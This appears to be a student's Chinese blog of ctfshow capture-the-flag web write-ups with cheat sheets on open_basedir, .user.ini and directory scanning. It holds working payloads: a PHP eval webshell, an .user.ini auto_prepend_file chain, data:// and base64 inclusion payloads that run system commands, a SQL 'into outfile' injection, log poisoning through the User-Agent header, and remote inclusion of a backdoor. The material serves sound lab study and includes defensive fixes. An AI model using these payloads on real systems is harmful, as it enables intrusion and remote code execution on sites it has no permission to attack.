Ctfshow on 波奇大王的 "Hugo Project"

PHP 文件访问范围限制：open_basedir 与目录边界

Sun, 06 Sep 2026 20:50:37 +0800

PHP 文件访问范围限制：open_basedir 与目录边界

问题：PHP 靠什么限制"可访问的目录范围"？答案：三层限制，核心是 open_basedir。

三层限制结构

① open_basedir（PHP 配置层 —— 主角）

php.ini / .user.ini / 虚拟主机配置：

open_basedir = /var/www/html:/tmp

作用：限制 PHP 所有文件操作能访问的目录范围
- 受影响的函数：fopen、file_get_contents、include、require、readfile 等
超出范围的路径访问 → 直接报错拒绝（即使系统权限允许）
⚠️ 它是目录前缀匹配，不是精确限制 → 存在绕过手法（见下）

② 系统文件权限（OS 层）

PHP 以什么用户运行（www-data / nobody），能读哪些目录由 Linux 文件权限决定
即使没配 open_basedir，www-data 也读不了 root 的文件

③ Web 服务器根目录（服务层）

Apache/Nginx 的 DocumentRoot 决定 URL 能访问哪些目录
web 根之外的目录通过 URL 访问不到（但 PHP 在 open_basedir 允许时仍可读）

顺带分清：disable_functions

disable_functions = system,exec,passthru,shell_exec

不是限制目录，是禁用危险函数
与 open_basedir 常一起考察：
- open_basedir → 管"能碰哪"（文件范围）
- disable_functions → 管"能执行啥"（函数权限）

open_basedir 绕过（CTF/比赛高频考点）

常见思路：

/proc/self/root/<真实路径> 等价路径访问
符号链接（symlink）绕过前缀匹配
配合软链接目录跳转
通过其他语言/扩展（如 FFI、iconv、glob 等）间接读写

遇到具体题目再针对性分析，先记住"它是前缀匹配，有绕过空间"这个概念。

一句话总结

PHP 限制可访问目录 = open_basedir（PHP 层）+ 系统文件权限（OS 层）+ DocumentRoot（Web 层），open_basedir 是最常考的 PHP 专属限制，绕它是高频题。

ctfshow web20

Sun, 06 Sep 2026 17:46:07 +0800

ctfshow web20

题号：web20
难度：⭐
考点：信息泄露
日期：2026-9-6

题目描述

解题思路

根据题目描述的提示直接看即可

Payload / 关键操作

（贴出关键 payload 或命令）

复现截图

对应课程章节

信息收集

踩坑记录 / 复盘

无

ctfshow web19

Sun, 06 Sep 2026 16:53:34 +0800

ctfshow web19

题号：web19
难度：⭐
考点：信息收集（加密逻辑泄露）
日期：2026-9-6

题目描述

解题思路

前端验证，这里用的是AES加密，参数全在js代码中，
mode模式： CBC padding填充方式： ZeroPadding
密文输出编码：十六进制hex 偏移量iv: ilove36dverymuch 密钥：0000000372619038
密文为： a599ac85a73384ee3219fa684296eaa62667238d608efa81837030bd1ce1bf04

于是可得到明文为： i_want_a_36d_girl

接着用户名admin密码为i_want_a_36d_girl进行登录，登录成功后得到flag!

Payload / 关键操作

打开F12找到对方的加密逻辑

复现截图

对应课程章节

信息收集

踩坑记录 / 复盘

无

ctfshow web18

Sat, 05 Sep 2026 23:33:26 +0800

ctfshow web18

题号：web18
难度：⭐⭐
考点：信息收集（js泄露）
日期：2026-9-5

题目描述

解题思路

1.这是一个javascript 的游戏，游戏的目的就是让要赢，从js代码中可知，当score>120时，且game_over这个参数为false时，即可赢，于是打开开发者模式中的console，直接赋值score=130 game_over=false 然后，执行游戏的run() 即可得到 “你赢了，去幺幺零点皮爱吃皮看看”，即，110.php 打开它，即得flag

Payload / 关键操作

1.score = 150;        // 顶分
game_over = true;   // 触发结束

复现截图

对应课程章节

62JS逆向调试

踩坑记录 / 复盘

if(game_over == false) { 继续跑 } else { ← 要赢必须先进这个分支（game_over 得是 true！） if(score > 100) { 赢 } ← score 还得 >100 }

ctfshow web17

Sat, 05 Sep 2026 20:02:03 +0800

ctfshow web17

题号：web17
难度：⭐
考点：信息收集（sql备份泄露）
日期：2026-9-5

题目描述

解题思路

1.根据题意得知有sql文件泄露，直接用dirsearch扫描即可 2.访问下载sql备份文件查询flag

Payload / 关键操作

1.目录爆破
2.查询

复现截图

对应课程章节

信息收集

踩坑记录 / 复盘

无

ctfshow web16

Sat, 05 Sep 2026 12:17:37 +0800

ctfshow web16

题号：web16
难度：⭐
考点：信息收集（PHP探针）
日期：2026-9-5

题目描述

解题思路

1.查看源码（没有发现明显的flag）、抓包（依旧没有发现明显的flag），采用dirsearch目录爆破（爆破到了一个JS目录，但是没有权限去访问） 2.根据提示去查看tz.php 3.找到里面的phpinfo，全局搜索flag解得此题

Payload / 关键操作

1.dirsearch -u https://33ac2cf7-8cfb-4bf5-b024-921da3f1fac7.challenge.ctf.show/
2.看提示
3.找到phpinfo

复现截图

2. 3.

对应课程章节

信息收集

踩坑记录 / 复盘

探针是啥

探针 = 开发者/运维用的"服务器体检脚本"——本质是一个 PHP 文件，访问它能显示服务器的敏感环境信息：

泄露的信息	例子
网站绝对路径	`/var/www/html/...`
PHP 版本 + 配置	phpinfo 级别的详细配置
系统信息	OS、CPU、内存
数据库版本	MySQL 版本
组件/扩展支持	危险函数是否开启等

常见文件名：tz.php（“探针"拼音）、phpinfo.php、test.php、info.php、p.php、雅黑探针/菠萝探针等。

所有 PHP 网站都有吗？—— 不是！

它是开发者临时上传用来调试/确认环境的工具
正规生产环境不应该存在——上线前要删
你扫到 tz.php = 两种情况：
1. 开发者测试完忘了删（最常见，信息泄露源）
2. 攻击者留下的（入侵后上传的探针/后门，危险！）

对渗透者意味着什么

tz.php 是信息收集的金矿：

绝对路径 → 配合文件包含/上传利用
PHP/组件版本 → 找已知漏洞打
危险函数（如 exec、system 开启情况）→ 判断能不能 RCE

对防守方：属于"测试残留文件未清理”——正好是你之前学的系统加固/安全配置检查里要查的一项（上线清单：删探针、删测试文件、删备份文件）📝

一句话

探针不是标配，是"忘删的测试工具"；有 = 信息泄露点 + 可疑（可能是攻击者留的）。 扫到它先确认是开发者残留还是入侵痕迹——这也是渗透测试里一个很实用的判断点 🎯

为什么很多敏感文件不是扫出来的

真实渗透里，tz.php、探针、隐藏后台这类文件，更多是靠线索推出来的：

源码泄露（git/备份文件）里看到的路径
报错信息暴露的路径
robots.txt 提示
前端 JS 里引用的资源路径
别人 writeup / 指纹特征
然后直接访问验证：[http://目标/tz.php](http://xn--iwvq54a/tz.php)

扫描只是手段之一，不是万能钥匙。

探针泄露(tz.php) PHP探针实际上是一种Web脚本程序，主要是用来探测虚拟空间、服务器的运行状况，而本质上是通过PHP语言实现探测PHP服务器敏感信息的脚本文件，通常用于探测网站目录、服务器操作系统、PHP版本、数据库版本、CPU、内存、组件支持等，基本能够很全面的了解服务器的各项信息，当开发者测试网站忘记把探针删掉以后，就会造成验证的信息泄露

ctfshow web15

Sat, 05 Sep 2026 11:28:11 +0800

ctfshow web15

题号：web15
难度：⭐
考点：信息收集（基于网站信息如邮箱的信息查找）
日期：2026-9-5

题目描述

解题思路

1.根据题意，进入靶场翻到最下层后看到了网站管理人的邮箱地址 2.因为是qq邮箱，所以可以去qq看看这个管理人是怎么个事 3.了解完管理员的大概信息后随便翻翻网站无果就直接在网址后面加admin寻找对方后台 4.根据后台报错提示发现用户名为admin，至于密码我开始输入的是对方qq账号，然后就是123456这些弱密码，但都是错误的。思考一会儿后发现有个忘记密码，打开一看居然只要输入管理员所在城市就能重置密码，这不就和解题步骤2呼应上了，果断输入西安拿到重置密码后解得此题flag

Payload / 关键操作

1.根据题意找到目标邮箱
2.了解qq信息
3.找寻后台
4.输入qq了解到的信息后拿到重置的密码

复现截图

2. ![[Pasted image 20260905112219.png|630]] 3. 4.

对应课程章节

信息收集

踩坑记录 / 复盘

无

ctfshow web14

Fri, 04 Sep 2026 23:40:29 +0800

ctfshow web14

题号：web14
难度：⭐
考点：信息收集（默认路径泄露）
日期：2026-9-4

题目描述

解题思路

1.看到提示说有泄露重要信息“editor”，于是就去靶场里面找，发现好像并没有。然后仔细又看了下提示，发现有两个刺眼的字 “源码”。于是聪明的我就打开F12然后搜索 “editor”，发现真就给我搜索到了，发现好像是一个关于编辑的路径，于是我便打开去看看怎么个事，发现是一个编辑器。 2.我试了试里面的图片上传和文件上传，发现根本行不通。正在纠缠之际，突然看到了图片上传旁边的 “图片空间”（做完后你会发现文件上传旁边也有个文件空间，效果是一样的），打开一看发现新世界的大门，里面好像是网站的文件结构 3.然后接下来就可想而知了：直接去var/www/html里面查询网站下面的文件，然后发现flag在var/www/html/nothinghere/fl000g.txt 里面，直接去访问即可

Payload / 关键操作

1.全局搜索源码“editor”;访问编辑路径。

复现截图

2. 3.

对应课程章节

信息收集

踩坑记录 / 复盘

看到编辑器的第一想法应该是去测试文件上传和图片上传

ctfshow web13

Fri, 04 Sep 2026 22:44:53 +0800

ctfshow web13

题号：web13
难度：⭐
考点：信息收集（文档泄露）
日期：2026-9-4

题目描述

解题思路

1.根据题意进入靶场后发现是个技术文档，看了半天没有有用信息，然后翻到最下面发现那个“document”居然可以点击 2.进去后发现是后台路径与默认密码

Payload / 关键操作

1.找到并点击泄露文档
2.根据文档内容输入后台地址并输入账号密码
3.获得flag

复现截图

1. 2. 3.

对应课程章节

信息收集

踩坑记录 / 复盘

无

ctfshow web12

Fri, 04 Sep 2026 15:14:04 +0800

ctfshow web12

题号：web12
难度：⭐
考点：信息收集（观察网页信息）
日期：2026-9-4

题目描述

解题思路

根据提示，在网页的最下面观察到“Help Line Number : 372619038”疑似管理员电话

Payload / 关键操作

1.将发现的字符当作后台密码去尝试

复现截图

对应课程章节

信息收集

踩坑记录 / 复盘

无

协议与端口

Fri, 04 Sep 2026 15:04:53 +0800

mstsc RDP远程桌面协议：3389

ctfshow web11

Fri, 04 Sep 2026 14:56:13 +0800

ctfshow web11

题号：web11
难度：⭐
考点：信息收集（DNS协议基础）
日期：2026-9-4

题目描述

解题思路

根据题意去查询域名的txt记录

Payload / 关键操作

nslookup -qt=txt flag.ctfshow.com

复现截图

题目有问题

对应课程章节

信息收集

踩坑记录 / 复盘

ctfshow web10

Thu, 03 Sep 2026 20:38:57 +0800

ctfshow web10

题号：web10
难度：⭐
考点：信息收集（cookie泄露）
日期：2026-9-3

题目描述

解题思路

根据题意想到去查看自己的cookie

Payload / 关键操作

进入靶场后打开F12

复现截图

对应课程章节

信息收集

踩坑记录 / 复盘

本题目是让答题者了解到cookie，cookie一般用于在身份认证的过程中保存一些信息，用于服务器来验证身份,在测试中可以尝试注入等方式。可以使用burp/F12中的网络来查看

ctfshow web9

Thu, 03 Sep 2026 20:34:15 +0800

ctfshow web9

题号：webXXX
难度：⭐
考点：信息收集（vim与vi的意外泄露）
日期：2026-9-3

题目描述

解题思路

根据提示，在Linux生产环境上使用vim或者vi做修改时，会生成一个swp为后缀的文件

第一次意外退出生成的是.swp
第二次意外退出生成的是.swo
第三次为.swn

因此可以尝试打开第一次退出时产生的这个文件,输入url/index.php.swp

Payload / 关键操作

直接去访问"靶场url"/index.php.swp

复现截图

对应课程章节

信息收集

踩坑记录 / 复盘

知道 vim/vi 的特性

本题目的是让答题者了解到vim编辑器使用时会有一个缓存文件，这个缓存文件在保存时进行删除，但是在vim意外退出时这个缓存文件，会以源文件加一个.swp后缀进行保存，我们可以尝试访问这些文件来尝试获取一些文件。

ctfshow web175

Wed, 02 Sep 2026 22:57:29 +0800

ctfshow web175

题号：web175
难度：⭐⭐
考点：SQL注入（SQL文件读写）
日期：2026-9-2

题目描述

正则基本过滤了ascii码的全部可见字符

解题思路

1.因为正常想好像没有任何思路，就想着直接看这题是否能进行文件读写（虽然没用判断权限是否为root，但是你在没用思路的时候可以先试试，万一呢？），发现是真的可以进行文件读写的操作，那还说啥了，往里干就行了！直接构造payload创建文件将flag写入其中 2.访问读取即可

Payload / 关键操作

1.123' union select username, password from ctfshow_user5 into outfile '/var/www/html/flag.txt' %23

2.直接访问

复现截图

对应课程章节

SQL注入

踩坑记录 / 复盘

a文件上传的总结

Wed, 02 Sep 2026 20:24:37 +0800

ctfshow web154

Wed, 02 Sep 2026 17:31:03 +0800

ctfshow web154

题号：web154
难度：⭐⭐
考点：文件上传（你真的了解".user.ini"吗）
日期：2026-9-2

题目描述

解题思路

[[Web153|[“Web153”,“文件上传”]]] 和153解题基本一样，就是多了个检查图片内容（应该是过滤了php），可以参考下图对一句话木马进行修改

Payload / 关键操作

/?1=system("tac ../flag.php");

复现截图

对应课程章节

文件上传

踩坑记录 / 复盘

ctfshow web153

Wed, 02 Sep 2026 15:48:31 +0800

ctfshow web153

题号：web153
难度：⭐⭐
考点：文件上传（你真的理解了 “.user.ini"吗？）
日期：2026-9-2

题目描述

解题思路

Payload / 关键操作

/?1=system("tac ../flag.php");

复现截图

对应课程章节

文件上传

踩坑记录 / 复盘

去看[[user.ini原理与上传解析路线]]

.user.ini 原理与文件上传解析路线

Wed, 02 Sep 2026 14:54:29 +0800

.user.ini 原理与文件上传解析路线

适用：文件上传题（黑名单校验被绕过但"解析不了"时）核心认知：先认服务器类型，再选上传利用方式

一、上传解析的两个"配置文件"是谁在处理

文件	谁读它	生效条件
`.htaccess`	Apache（Web 服务器）	Apache + AllowOverride 开启
`.user.ini`	PHP（CGI/FastCGI 模式）	php-fpm 跑 PHP（nginx 或 Apache + php-fpm）

关键点：

nginx 根本不认 .htaccess（nginx 没有这个机制，配置全在 nginx.conf）
Apache + mod_php 不读 .user.ini（不是 CGI 模式）

环境	优先试哪个
Apache	.htaccess
nginx + php-fpm	.user.ini（本文重点）

怎么判断服务器：看响应头 Server: Apache/2.x 还是 nginx；或传 .phP 只下载不执行 → 基本是 nginx + php-fpm。

二、.user.ini 是什么（原理）

.user.ini = PHP 的"目录级配置文件"（类似 .htaccess 但由 PHP 自己管）。

生效模式：CGI/FastCGI（nginx + php-fpm、Apache + php-fpm 都算）
文件名默认就是 .user.ini（php.ini 的 user_ini.filename，可改）
放在哪个目录 → 只对该目录下的 PHP 文件生效（含子目录）

关键指令：auto_prepend_file

auto_prepend_file=shell.png

效果：该目录下每个 PHP 文件被请求时，执行前都会先自动 include 指定的文件。

→ 如果指定的文件内容是你的 PHP webshell（哪怕后缀是 .png）， → 那么访问该目录里任意一个 .php（比如 index.php），都会先执行你的代码！

还有配套的 auto_append_file（执行后自动包含），用法同理。

三、.user.ini 攻击用法（完整链条）

前提

上传校验是黑名单（只挡已知危险后缀，能传任意名文件）
能上传 .user.ini（点开头 + 黑名单没挡）
上传目录里有可访问的 .php 文件（用于触发 auto_prepend_file）

步骤

① 上传 .user.ini，内容：
   auto_prepend_file=shell.png

② 上传 shell.png，内容：
   <?php @eval($_GET[1]);?>

③ 访问该目录下任意 .php（如 /upload/index.php）
   → PHP 自动先包含 shell.png → 你的 webshell 执行

④ 执行命令：
   /upload/index.php?1=system("tac ../flag.php");

为什么这样能绕过"解析不了"的问题

错误路线（.phP 大小写）	正确路线（.user.ini）
依赖"服务器把 .phP 当 PHP 解析"	依赖"PHP 主动包含 .png 文件"
服务器只认小写 `.php` → 不解析 → 只下载	auto_prepend_file 让任意后缀被当 PHP 执行
看服务器脸色 ❌	不依赖后缀，自己说了算 ✅

核心：.phP 是"骗解析器"，.user.ini 是"让 PHP 自己加载你的文件"。

四、为什么 .phP 上传成功但访问只下载

上传成功 = 过滤器只查小写"php"字符串，.phP 绕过字符串检查 ✅
访问只下载 = 服务器处理器匹配大小写敏感：
  nginx location ~ \.php$  （默认区分大小写）
  → .phP 不交给 PHP 解析 → 当普通文件 → 强制下载（Content-Disposition: attachment）

提示：Windows 服务器文件系统大小写不敏感，.phP 可能被当成 .php 执行；Linux + nginx 大小写敏感 → 只下载——这本身是"该走 .user.ini"的信号。

五、上传题判定流程（定方向）

1. 看响应头 / 传 .phP 测试 → 判断 Apache 还是 nginx+php-fpm
2. 试传 shell.php → 失败；shell.png / shell.a → 成功
   → 说明是黑名单校验（只挡已知后缀）
3. 黑名单 + 能传任意名 → 试 .user.ini（nginx+php-fpm）或 .htaccess（Apache）
4. .user.ini: auto_prepend_file=shell.png + 传 shell.png webshell
5. 访问目录里任意 .php 触发 → ?1=system(...) → flag

六、防御视角（知道原理就会防）

上传校验别用黑名单（改白名单：只允许图片/文档白名单后缀）
上传目录禁止执行 PHP（nginx 配置 location 里 fastcgi 只给白名单后缀）
禁用/改名 .user.ini：php.ini 里 user_ini.filename= 设为空或改名
上传文件名随机化，禁止点开头文件（.user.ini 这种）

记忆口诀

黑名单能传任意名，看服务器选入口：Apache 上 .htaccess，nginx 上 .user.ini；prepend 一设，png 也变 shell。

速查表持续补充，实战遇到新上传姿势随时更新。

ctfshow web82

Wed, 02 Sep 2026 14:03:57 +0800

ctfshow web82

题号：web82
难度：⭐~⭐⭐⭐
考点：如 SQL 注入（无回显）
日期：YYYY-MM-DD

题目描述

（题目给了什么环境、什么提示）

解题思路

（从哪步开始想的，怎么一步步走到答案）

Payload / 关键操作

（贴出关键 payload 或命令）

复现截图

（截图放这里，说明是哪一步的）

对应小迪课程章节

（如：Web攻防-命令执行，方便回头复习）

踩坑记录 / 复盘

（卡在哪了、绕了什么弯、下次遇到要注意什么）

ctfshow web37

Wed, 02 Sep 2026 12:15:02 +0800

ctfshow web37

题号：web37
难度：⭐
考点：命令执行
日期：2026-9-2

题目描述

解题思路

1.因为是文件包含，所以想到伪协议。又因为过滤了flag，就用占位符替代

Payload / 关键操作

1.?c=data://text/plain,<?php system('tac fla?.php') ?>

复现截图

对应课程章节

命令执行

踩坑记录 / 复盘

无

ctfshow web36

Wed, 02 Sep 2026 10:57:04 +0800

ctfshow web36

题号：web36
难度：⭐
考点：文件包含（配合伪协议）
日期：2026-9-2

题目描述

解题思路

1.真就一招鲜吃遍天，和Web35基本一样，就是因为过滤了数字所以将数字的参数改成字母就行了

Payload / 关键操作

1.[[Web35|["Web35","命令执行"]]]

复现截图

对应小迪课程章节

踩坑记录 / 复盘

无

ctfshow web7-8

Wed, 02 Sep 2026 10:33:26 +0800

ctfshow web7-8

题号：web7-8
难度：⭐
考点：信息收集（.git 泄露与利用）
日期：2026-9-2

题目描述

解题思路

1.直接放图吧：

Payload / 关键操作

访问.git即可

复现截图

靶场7：靶场8：

对应课程章节

信息收集

踩坑记录 / 复盘

无

ctfshow web6

Wed, 02 Sep 2026 09:59:09 +0800

ctfshow web6

题号：web6
难度：⭐
考点：信息收集（压缩文件遗留）
日期：2026-9-2

题目描述

解题思路

1.根据题目提示猜测靶场存在网站源码压缩文件，所以得用目录爆破将其找出 2.直接爆破访问下载解压即可

Payload / 关键操作

1.爆破

复现截图

对应课程章节

信息收集

踩坑记录 / 复盘

无

ctfshow web35

Tue, 01 Sep 2026 19:02:08 +0800

ctfshow web35

题号：web35
难度：⭐
考点：命令执行配合伪协议
日期：2026-9-1

题目描述

解题思路

1.还是和Web34一样的操作

Payload / 关键操作

1.?c=include$_GET[1]?>&1=data://text/plain,<?php system('tac flag.php') ?>

复现截图

对应课程章节

RCE命令执行

踩坑记录 / 复盘

无

ctfshow web34

Tue, 01 Sep 2026 13:55:37 +0800

ctfshow web34

题号：web34
难度：⭐
考点：命令执行（配合伪协议）
日期：2026-9-1

题目描述

解题思路

1.和Web33.32还是一样构造文件包含配合伪协议即可

Payload / 关键操作

1./?c=include$_GET[1]?>&1=data://text/plain,<?php system('tac flag.php') ?>

复现截图

对应小迪课程章节

RCE命令执行

踩坑记录 / 复盘

无

ctfshow web5

Tue, 01 Sep 2026 13:45:13 +0800

ctfshow web5

题号：web5
难度：⭐
考点：信息收集
日期：2026-9-1

题目描述

解题思路

1.题目开始就说了有源码泄露，说明可能有某个目录带有源码文件，所以可以使用扫描工具去试试 2.找到index.php后访问发现虽然是首页但是并没用报错，回想题目说phps可能对我们有帮助，于是尝试去访问index.phps

Payload / 关键操作

（贴出关键 payload 或命令）

复现截图

对应课程章节

信息收集

踩坑记录 / 复盘

可以去看看信息泄露的 “目录爆破与目标类型判断”

目录爆破与目标类型判断

Tue, 01 Sep 2026 13:15:49 +0800

目录爆破与目标类型判断

适用：Web 目录扫描（dirsearch）、源码泄露探测核心认知：先判断目标类型，再决定用不用目录爆破——工具是死的，判断是活的

一、为什么有时候"扫不出结果"？（dirsearch 的过滤机制）

dirsearch 扫描前会做通配响应（wildcard）检测：

1. 请求几个随机路径，看目标是否"catch-all"（对不存在的路径也返回 200 同页面）
2. 如果检测到 → 建立"通配画像"
3. 扫描时：响应和通配画像【相似度≥90%】→ 判定为无效 → 静默过滤，不报告

结果：遇到 catch-all 站点，所有"和首页长得一样"的路径都被吞掉 → 看起来"什么都没扫到"。

这是防噪音设计（否则 catch-all 站会报几千条假结果），不是工具坏了。

二、目标类型判断（花 3 秒，先做这步！）

curl -o nul -w "%{http_code} %{size_download}" https://目标/随便不存在的xyz123
curl -o nul -w "%{http_code} %{size_download}" https://目标/

结果	结论	该干嘛
随机路径 404 / 大小不同	✅ 正常站点	dirsearch 放心扫，能出结果
随机路径 200 且大小一样	⚠️ catch-all	目录爆破意义不大，换思路

catch-all 站点的正确思路：源码审计（看主页源码/JS）、参数探测、伪协议、手动试常见文件名。

三、dirsearch 正确用法

# 基本（正常站点）
dirsearch -u http://目标 -e php,txt,zip,bak -x 403 -t 20

# 指定字典
dirsearch -u http://目标 -w 字典.txt -e php

# 强制显示指定状态码（辅助判断）
dirsearch -u http://目标 -e php -i 200,301,302,401,403

# 中断后恢复
# Ctrl+C → [q]uit 退出 → [s]ave 保存会话 → 下次 --resume 会话文件 继续

注意：默认字典（dicc.txt）没有 .phps 条目——扫 .phps 要 -e php,phps 或自定义字典。

四、源码泄露文件类型（PHP 站必试清单）

index.phps        ← 直接显示高亮源码（重点！）
index.php.bak     ← 备份文件
index.php~        ← vim 备份
index.php.swp     ← vim 交换文件
index.php.txt     ← 改名保存
index.php.old     ← 旧版本

原理：.php 被执行看不到源码；.phps 被 Web 服务器配置映射为源码显示（Apache AddType application/x-httpd-php-source .phps，nginx 同理）——访问直接看高亮源码。这是开发者/出题人常留的"后门"，等于主动泄露。

五、工具对比

工具	特点	适合
dirsearch	好用，有 wildcard 过滤（会吞相似内容）	正常站点、CTF
ffuf	快，参数灵活（-ac 自动校准可关）	进阶、复杂场景
gobuster	老实，行为简单	想避开相似度过滤时
手动 curl	永远最可靠	试已知文件名时

六、实战流程（照这个走）

1. curl 随机路径 → 判断目标类型（正常 / catch-all）
2. 正常 → dirsearch 扫（-e 加全扩展名）
3. catch-all → 手动试源码泄露文件 + 分析主页
4. 扫出结果 → 200/301 重点看；403 存在但被拦
5. 扫不出 → 不是坏事，说明没隐藏文件，转源码审计/参数探测

记忆口诀

先探类型再爆破，catch-all 换思路；源码泄露试 phps，手动 curl 最可靠。

速查表持续补充，实战遇到新技巧随时更新。

ctfshow web4

Tue, 01 Sep 2026 11:59:42 +0800

ctfshow web4

题号：web4
难度：⭐
考点：信息收集
日期：2026-9-1

题目描述

解题思路

1.看到了题目给我提示，于是就去robots看看 2.发现果然存在关于flag的文件后便再次打开此文件查询flag

Payload / 关键操作

1.在url后面加上robots.txt路径
2.在url后面加上flagishere.txt

复现截图

1. 2.

对应课程章节

信息收集

踩坑记录 / 复盘

![[Pasted image 20260901115846.png|564]] ![[Pasted image 20260901115906.png|565]]

ctfshow web152

Mon, 31 Aug 2026 20:33:25 +0800

ctfshow web152

题号：web152
难度：⭐
考点：文件上传（不严谨的后端校验）
日期：2026-8-31

题目描述

根据题意是一个“不严谨”的后端校验

解题思路

这题就不演示了，作者是真不知道这后端是校验了个啥，用151一样的步骤直接就成功了，估计是校验了content-type把

Payload / 关键操作

复现截图

对应课程章节

踩坑记录 / 复盘

ctfshow web151

Mon, 31 Aug 2026 20:25:17 +0800

ctfshow web151

题号：web151
难度：⭐
考点：文件上传（前端验证绕过）
日期：2026-8-31

题目描述

简单的文件上传

解题思路

1.题目信息给到你说“前端验证不可靠”，说明此题是前端验证的文件上传。这里你可以试想下，如果题目没给到你，你该如何判断这是为前端验证呢？1.通过浏览器右键检查看看是否有关于验证文件信息的代码 2. 打开代理抓包后尝试上传一个错误文件，如果burp并没用抓到包浏览器也弹出来了不可以上传此类型文件，说明你上传的文件根本没用经过对方服务器端的校验而是直接在前端就完成校验了。 2.知道对方是前端校验后我们就可以先生成个后门文件，然后将其后缀php先改成正确文件后缀，如png 3.打开抓包，将上传改造后的后门文件的数据包抓住并将后缀改回php 4.访问对应路径执行后用哥斯拉尝试连接并查找flag

Payload / 关键操作

1.打开代理burp进行验证
2.通过哥斯拉生成后门文件，然后将其改成png后缀
3.改回后缀
4.找flag

复现截图

![[Pasted image 20260831201812.png|448]] 3. ![[Pasted image 20260831202100.png|552]] 4. ![[Pasted image 20260831202443.png|555]]

对应课程章节

文件上传

踩坑记录 / 复盘

无

ctfshow web81

Mon, 31 Aug 2026 19:13:27 +0800

ctfshow web81

题号：web81
难度：⭐
考点：文件包含（配合包含）
日期：2026-8-31

题目描述

除了将基本伪协议ban了，还把:给ban了，我他哥的求你了

解题思路

1.伪协议这下是真的基本都没了，就可以往其他地方去想：“日志包含”。我们一般访问对方网站的时候都会被网站日志给记录下我们的UA头。而文件包含有个特点，不论你是什么后缀的文件，只要你里面有完整的代码格式它都会去执行。因此，如果我们通过抓包在UA头里插入恶意PHP代码呢？ 2.首先就是得确认对方是什么中间件搭建的网站，我这里使用的是报错方法。 3.确认为nginx搭建的网站后，我们就可以去网上找它的日志默认路径：/var/log/nginx/access.log（这里需要知道的是日志目录是可以更改的）。找到后尝试修改自己的UA头去访问看是否会被记录 4.发现对方目录确实是会记录我们的UA头后就可以开始将UA头变成恶意代码去寻找flag了

Payload / 关键操作

1.明确方向
2.通过访问错误的文件名让对方网站报错获取网站信息
3.我这里是将UA头改成“boqidawang666”了，为了方便就不截图burp修改的图片了，相信都是会的
4.<?php system('ls'); ?>; <?php system('tac fl0g.php'); ?>

复现截图

3. 4.

对应课程章节

（如：Web攻防-命令执行，方便回头复习）

50文件包含

踩坑记录 / 复盘

无

ctfshow web80

Mon, 31 Aug 2026 18:32:29 +0800

ctfshow web80

题号：web80
难度：⭐
考点：文件包含（远程文件包含）
日期：2026-8-31

题目描述

题目直接将基本的伪协议基本全部ban掉了

解题思路

1.它将data://text/plain,伪协议ban了不代表一定是坏事，因为它ban这个其实从侧面也代表着它没有将allow_url_include给变成off，所以我们可以让其去包含我们远程的后门文件去执行即可。所以我们首先就得生成个后门，我这生成的是boqi.txt 2.生成好后将其放入对方可以访问的公网服务器上 3.然后用哥斯拉去连接后门 4.正常查看flag文件即可

Payload / 关键操作

1.正常生成后门即可
2.得放到对方能够抵达的地方
3.连接后门
4.正常查看flag文件即可

复现截图

![[Pasted image 20260831182625.png|452]] 2. 3. 4.

对应课程章节

50文件包含

踩坑记录 / 复盘

无

ctfshow web79

Sun, 30 Aug 2026 20:55:40 +0800

ctfshow web79

题号：web79
难度：⭐⭐
考点：文件包含（data配合base64编码执行命令）
日期：2026-8-30

题目描述

题目用str_replace函数将php替换成了？？？，且是遍历循环，无法双写绕过

解题思路

1.这里就得想到data://text/plain伪协议了，因为你要执行的是php命令，所以你还要配和base64进行编码绕过，所以你接下来将使用的是data://text/plain;base64,的组合技！（唯一需要注意的是：因为你是base64编码，内容中会存在%=等等符号，你输入在浏览器栏时可能会被url解码，所以你这里最好自己先进行编码一次）

Payload / 关键操作

1.?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpID8%2B
2.?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKSA%2FPg%3D%3D

复现截图

![[Pasted image 20260830205209.png|271]]![[Pasted image 20260830205226.png|258]] 2. ![[Pasted image 20260830205412.png|264]]![[Pasted image 20260830205424.png|305]]

对应课程章节

50文件包含

踩坑记录 / 复盘

1.没有想到data://text/plain,伪协议居然可以配合base64打组合技

ctfshow web78

Sun, 30 Aug 2026 20:04:39 +0800

ctfshow web78

题号：web78
难度：⭐
考点：文件包含（include文件包含的关键函数）
日期：2026-8-30

题目描述

发现题目存在include文件包含的关键函数

解题思路

1.先用data伪装协议去查看当前目录下的文件 2.然后再用data伪协议去执行查看flag.php的命令

Payload / 关键操作

1.?file=data://text/plain,<?php system('ls') ?>
2.?file=data://text/plain,<?php system('tac flag.php') ?>

复现截图

1. 2.

对应课程章节

文件包含漏洞

踩坑记录 / 复盘

无，easy

ctfshow web33

Sun, 30 Aug 2026 18:02:59 +0800

ctfshow web33

题号：web33
难度：⭐
考点：Web33
日期：2026-8-30

题目描述

解题思路

1.和32思路基本一样，就是构造文件包含漏洞配合伪协议就行

Payload / 关键操作

1./?c=include$_GET[1]?>&1=data://text/plain,<?php system('ls') ?>
2.?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

复现截图

1. 2.

对应课程章节

RCE命令执行

踩坑记录 / 复盘

神不会在同一个地方放错

ctfshow web3

Sun, 30 Aug 2026 17:47:32 +0800

ctfshow web3

题号：web3
难度：⭐
考点：信息收集（信息暴露在数据包）
日期：2026-8-30

题目描述

解题思路

1.开始题目就说了“没思路就去抓个数据包看看”

Payload / 关键操作

抓包

复现截图

对应课程章节

无

踩坑记录 / 复盘

救赎之道，就在其中

ctfshow webXXX - 题目名

Sun, 30 Aug 2026 17:32:24 +0800

ctfshow webXXX - 题目名

题号：web2
难度：⭐
考点：信息收集（绕过javascript）
日期：2026-8-30

题目描述

解题思路

1.禁用浏览器禁用JavaScript即可

Payload / 关键操作

复现截图

对应课程章节

无

踩坑记录 / 复盘

1.这里多学到了另一种方法：view-source是一种协议，早期基本上每个浏览器都支持这个协议。后来Microsoft考虑安全性，对于WindowsXP pack2以及更高版本以后IE就不再支持此协议。但是这个方法在FireFox和Chrome浏览器都还可以使用。如果要在IE下查看源代码,只能使用查看中的"查看源代码"命令.以前的使用方法：在浏览器地址栏中输入 view-source: sURL

框架识别方法论（Web 框架/组件指纹）

Sat, 29 Aug 2026 17:07:50 +0800

框架识别方法论（Web 框架/组件指纹）

